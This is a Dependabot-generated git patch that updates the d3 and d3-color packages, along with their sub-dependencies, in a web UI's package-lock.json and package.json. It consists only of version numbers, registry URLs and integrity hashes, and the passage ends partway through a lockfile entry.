From 21656dabb415da776d4ca522f6209e04d37f2afa Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 30 Sep 2022 01:20:57 +0000 Subject: [PATCH 001/144] Bump d3-color and d3 in /monkey/monkey_island/cc/ui Bumps [d3-color](https://github.com/d3/d3-color) to 3.1.0 and updates ancestor dependency [d3](https://github.com/d3/d3). These dependencies need to be updated together. Updates `d3-color` from 1.4.1 to 3.1.0 - [Release notes](https://github.com/d3/d3-color/releases) - [Commits](https://github.com/d3/d3-color/compare/v1.4.1...v3.1.0) Updates `d3` from 5.16.0 to 7.6.1 - [Release notes](https://github.com/d3/d3/releases) - [Changelog](https://github.com/d3/d3/blob/main/CHANGES.md) - [Commits](https://github.com/d3/d3/compare/v5.16.0...v7.6.1) --- updated-dependencies: - dependency-name: d3-color dependency-type: indirect - dependency-name: d3 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- monkey/monkey_island/cc/ui/package-lock.json | 879 +++++++++++-------- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 518 insertions(+), 363 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 426cb8d46..92567462b 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -21,7 +21,7 @@ "classnames": "^2.3.1", "core-js": "^3.18.2", "crypto-js": "^4.1.1", - "d3": "^5.14.1", + "d3": "^7.6.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.5", @@ -4477,283 +4477,392 @@ "integrity": "sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==" }, "node_modules/d3": { - "version": "5.16.0", - "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", - "integrity": "sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==", + "version": "7.6.1", + "resolved": "https://registry.npmjs.org/d3/-/d3-7.6.1.tgz", + "integrity": "sha512-txMTdIHFbcpLx+8a0IFhZsbp+PfBBPt8yfbmukZTQFroKuFqIwqswF0qE5JXWefylaAVpSXFoKm3yP+jpNLFLw==", "dependencies": { - "d3-array": "1", - "d3-axis": "1", - "d3-brush": "1", - "d3-chord": "1", - "d3-collection": "1", - "d3-color": "1", - "d3-contour": "1", - "d3-dispatch": "1", - "d3-drag": "1", - "d3-dsv": "1", - "d3-ease": "1", - "d3-fetch": "1", - "d3-force": "1", - "d3-format": "1", - "d3-geo": "1", - "d3-hierarchy": "1", - "d3-interpolate": "1", - "d3-path": "1", - "d3-polygon": "1", - "d3-quadtree": "1", - "d3-random": "1", - "d3-scale": "2", - "d3-scale-chromatic": "1", - "d3-selection": "1", - "d3-shape": "1", - "d3-time": "1", - "d3-time-format": "2", - "d3-timer": "1", - "d3-transition": "1", - "d3-voronoi": "1", - "d3-zoom": "1" + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-array": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", - "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.0.tgz", + "integrity": "sha512-3yXFQo0oG3QCxbF06rMPFyGRMGJNS7NvsV1+2joOjbBE+9xvWQ8+GcMJAjRCzw06zQ3/arXeJgbPYcjUCuC+3g==", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } }, "node_modules/d3-axis": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", - "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-brush": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.6.tgz", - "integrity": "sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", "dependencies": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-chord": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", - "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", "dependencies": { - "d3-array": "1", - "d3-path": "1" + "d3-path": "1 - 3" + }, + "engines": { + "node": ">=12" } }, - "node_modules/d3-collection": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", - "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" - }, "node_modules/d3-color": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.1.tgz", - "integrity": "sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==" + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-contour": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", - "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-4.0.0.tgz", + "integrity": "sha512-7aQo0QHUTu/Ko3cP9YK9yUTxtoDEiDGwnBHyLxG5M4vqlBkO/uixMRele3nfsfj6UXOcuReVpVXzAboGraYIJw==", "dependencies": { - "d3-array": "^1.1.1" + "d3-array": "^3.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", + "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-dispatch": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", - "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-drag": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", - "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", "dependencies": { - "d3-dispatch": "1", - "d3-selection": "1" + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-dsv": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", - "integrity": "sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", "dependencies": { - "commander": "2", - "iconv-lite": "0.4", + "commander": "7", + "iconv-lite": "0.6", "rw": "1" }, "bin": { - "csv2json": "bin/dsv2json", - "csv2tsv": "bin/dsv2dsv", - "dsv2dsv": "bin/dsv2dsv", - "dsv2json": "bin/dsv2json", - "json2csv": "bin/json2dsv", - "json2dsv": "bin/json2dsv", - "json2tsv": "bin/json2dsv", - "tsv2csv": "bin/dsv2dsv", - "tsv2json": "bin/dsv2json" + "csv2json": "bin/dsv2json.js", + "csv2tsv": "bin/dsv2dsv.js", + "dsv2dsv": "bin/dsv2dsv.js", + "dsv2json": "bin/dsv2json.js", + "json2csv": "bin/json2dsv.js", + "json2dsv": "bin/json2dsv.js", + "json2tsv": "bin/json2dsv.js", + "tsv2csv": "bin/dsv2dsv.js", + "tsv2json": "bin/dsv2json.js" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-dsv/node_modules/commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/d3-dsv/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } }, "node_modules/d3-ease": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.7.tgz", - "integrity": "sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-fetch": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.2.0.tgz", - "integrity": "sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", "dependencies": { - "d3-dsv": "1" + "d3-dsv": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-force": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", - "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", "dependencies": { - "d3-collection": "1", - "d3-dispatch": "1", - "d3-quadtree": "1", - "d3-timer": "1" + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-format": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.5.tgz", - "integrity": "sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==" + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-geo": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.1.tgz", - "integrity": "sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.0.1.tgz", + "integrity": "sha512-Wt23xBych5tSy9IYAM1FR2rWIBFWa52B/oF/GYe5zbdHrg08FU8+BuI6X4PvTwPDdqdAdq04fuWJpELtsaEjeA==", "dependencies": { - "d3-array": "1" + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-hierarchy": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", - "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==" + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-interpolate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.4.0.tgz", - "integrity": "sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", "dependencies": { - "d3-color": "1" + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-path": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", - "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.0.1.tgz", + "integrity": "sha512-gq6gZom9AFZby0YLduxT1qmrp4xpBA1YZr19OI717WIdKE2OM5ETq5qrHLb301IgxhLwcuxvGZVLeeWc/k1I6w==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-polygon": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", - "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-quadtree": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", - "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-random": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", - "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-scale": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", - "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", "dependencies": { - "d3-array": "^1.2.0", - "d3-collection": "1", - "d3-format": "1", - "d3-interpolate": "1", - "d3-time": "1", - "d3-time-format": "2" + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-scale-chromatic": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", - "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-3.0.0.tgz", + "integrity": "sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==", "dependencies": { - "d3-color": "1", - "d3-interpolate": "1" + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-selection": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.2.tgz", - "integrity": "sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "engines": { + "node": ">=12" + } }, "node_modules/d3-shape": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", - "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.1.0.tgz", + "integrity": "sha512-tGDh1Muf8kWjEDT/LswZJ8WF85yDZLvVJpYU9Nq+8+yW1Z5enxrmXOhTArlkaElU+CTn0OTVNli+/i+HP45QEQ==", "dependencies": { - "d3-path": "1" + "d3-path": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-time": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", - "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.0.0.tgz", + "integrity": "sha512-zmV3lRnlaLI08y9IMRXSDshQb5Nj77smnfpnd2LrBa/2K281Jijactokeak14QacHs/kKq0AQ121nidNYlarbQ==", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } }, "node_modules/d3-time-format": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.3.0.tgz", - "integrity": "sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", "dependencies": { - "d3-time": "1" + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/d3-timer": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", - "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==" - }, - "node_modules/d3-transition": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", - "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", - "dependencies": { - "d3-color": "1", - "d3-dispatch": "1", - "d3-ease": "1", - "d3-interpolate": "1", - "d3-selection": "^1.1.0", - "d3-timer": "1" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "engines": { + "node": ">=12" } }, - "node_modules/d3-voronoi": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", - "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } }, "node_modules/d3-zoom": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", - "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", "dependencies": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" } }, "node_modules/debug": { @@ -4915,6 +5024,14 @@ "node": ">=8" } }, + "node_modules/delaunator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.0.0.tgz", + "integrity": "sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==", + "dependencies": { + "robust-predicates": "^3.0.0" + } + }, "node_modules/depd": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", @@ -7312,6 +7429,14 @@ "node": ">= 0.4" } }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "engines": { + "node": ">=12" + } + }, "node_modules/interpret": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", @@ -13428,6 +13553,11 @@ "rimraf": "bin.js" } }, + "node_modules/robust-predicates": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.1.tgz", + "integrity": 